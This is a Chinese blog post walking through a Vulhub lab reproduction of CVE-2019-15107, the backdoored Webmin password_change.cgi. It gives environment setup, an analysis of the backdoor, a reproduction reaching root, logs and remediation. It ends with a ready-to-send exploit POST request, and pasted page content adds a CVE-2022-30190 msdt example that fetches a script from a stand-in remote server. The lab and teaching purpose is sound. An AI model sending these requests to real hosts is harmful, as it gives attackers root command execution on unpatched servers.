CVE-2019-15107 Webmin远程命令执行漏洞复现 (文末EXP)

CVE-2019-15107 Webmin远程命令执行漏洞复现

1 环境搭建

1.1 Vulhub靶机搭建

1.1.1 环境安装

(1)安装docker

$ curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

(2)安装Docker-Compose

$ pip install docker-compose

#如果没有pip需要先安装

 $ yum -y install epel-release
 $ yum -y install python-pip
 $ pip --version  # 查看pip版本

(3)安装Vulhub

$ git clone https://github.com/vulhub/vulhub.git

#如果没有Git需要先安装

$ yum install -y git
1.1.2 靶场使用

1.输入systemctl start docker 启动docker
在这里插入图片描述

2.输入systemctl status docker 查看docker状态
在这里插入图片描述

3.选择对应靶场进入,这里我们选择webmin下的CVE-2019-15107靶场
在这里插入图片描述

4.输入docker-compose up -d 启动靶场环境
在这里插入图片描述

5.输入docker ps查看容器id
在这里插入图片描述

6.输入docker exec -it docker-id /bin/bash 进入容器,这里我们docker-id为b6b4fd4f2796

在这里插入图片描述

成功进入容器
7.在win10浏览器输入靶场ip查看是否启动成功
在这里插入图片描述

2 漏洞复现

2.1 影响版本

  • Webmin<=1.920

2.2 漏洞原理

Webmin远程命令执行漏洞的主要成因是利用了修改密码功能,密码修改模块的源代码被人恶意植入后门代码,导致攻击者可以通过抓取登录时的数据包,通过改包来进行远程命令执行,危害之大,只要后台能运行的命令,攻击者都可以通过抓改数据包来进行远程命令执行,主要漏洞代码如下图:
在这里插入图片描述

漏洞主要是password_change.cgi中的大概第37-45行间,被人在后面拼接了qx/$in{‘old’}/,qx 此函数是使用反引号执行系统命令的替代方法,所以将old字段中的语句当作系统命令执行了,并拼接到pass_error后,会送到数据包中。
主要漏洞逻辑是攻击者提交错误的密码修改数据,导致后台返回报错信息Failed to change password : The current password is incorrect,此时利用漏洞,将执行了命令的old字段拼接在Failed to change password : The current password is incorrect后一起返回。
以下为无漏洞的正常源码

无漏洞

2.3 漏洞复现及日志分析

2.3.1 漏洞复现

查看漏洞环境,cat /etc/webmin/miniserv.conf,查看passwd_mode=2,此时密码修改功能开启。
在这里插入图片描述

访问webmin页面
在这里插入图片描述

打开Burpsuite进行抓包
在这里插入图片描述

直接点击登录并抓包
在这里插入图片描述
在这里插入图片描述

可以看到此时是抓到了登录时的数据包,我们只需修改接口和字段,即可使用该漏洞。

在这里插入图片描述

将接口改为/password_change.cgi,将传输字段改为密码修改所需的字段,即user=&old=&new1=&new2=,需注意这里的user不可以是系统用户root,也可以直接套用EXP,修改完如下图:
在这里插入图片描述

此时old字段中是ls,即ls命令,点击GO
在这里插入图片描述

此时成功输出ls命令执行后的内容,我们查看whoami
在这里插入图片描述

可以看到是最高权限root,此时我们获得最高权限root,可以在服务器随意执行命令,漏洞复现成功。

2.3.2 日志分析

查看日志文件miniserv.log
在这里插入图片描述
可以看到/password_change.cgi的访问记录,但是没有显示异常字段,无法知道是正常业务还是攻击手段。
Root用户下history也无法看到执行的命令(下列命令都是自己在后台执行的,并非远程执行产生的历史记录)

在这里插入图片描述

3 整改建议

1.找到漏洞代码,将,qx/$in{‘old’}/)代码删除
2.下载最新版本webmin

EXP

POST /password_change.cgi HTTP/1.1
Host: ip:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Origin: https://ip:10000
Connection: close
Referer: https://ip:10000/session_login.cgi
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Upgrade-Insecure-Requests: 1

user=rootxx&old=ls&new1=test2&new2=test2
  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
CVE-2022-30190是一个针对Microsoft的漏洞,被称为msdt远程代码执行漏洞。该漏洞允许攻击者通过利用命令行工具"msdt.exe"的特定参数进行远程代码执行。以下是关于该漏洞复现过程。 首先,我们需要使用攻击者控制的远程服务器,以便在受影响的目标系统上执行恶意代码。我们创建以下PHP脚本,将其上传到我们的远程服务器上: ``` <?php system('calc.exe'); ?> ``` 这段代码将在目标系统上执行计算器应用程序,然后我们将通过"msdt.exe"命令行工具的特定参数利用该漏洞。 在受影响的目标系统上,我们将打开命令提示符,并执行以下命令: ``` msdt.exe "http://your-remote-server.com/evil-script.php" /id "netwoCpl" /showUI ``` 上述命令将启动"msdt.exe"并使用指定的URL作为参数,同时还指定了"networkCpl"作为"msdt.exe"的标识符。最后,使用"/showUI"参数显示用户界面。 当目标系统执行命令时,"msdt.exe"会检索远程服务器上的脚本文件,并尝试执行该脚本。由于脚本文件具有恶意代码,它将在目标系统上执行计算器应用程序。 这就是CVE-2022-30190 msdt远程代码执行漏洞的一个简单复现过程。然而,值得注意的是,这只是为了说明该漏洞的原理,实际的攻击可能需要更复杂的技术和步骤。为了保护系统安全,我们建议及时更新受影响的软件,以修补此漏洞。还应该维护良好的网络安全措施,以减少被利用的风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值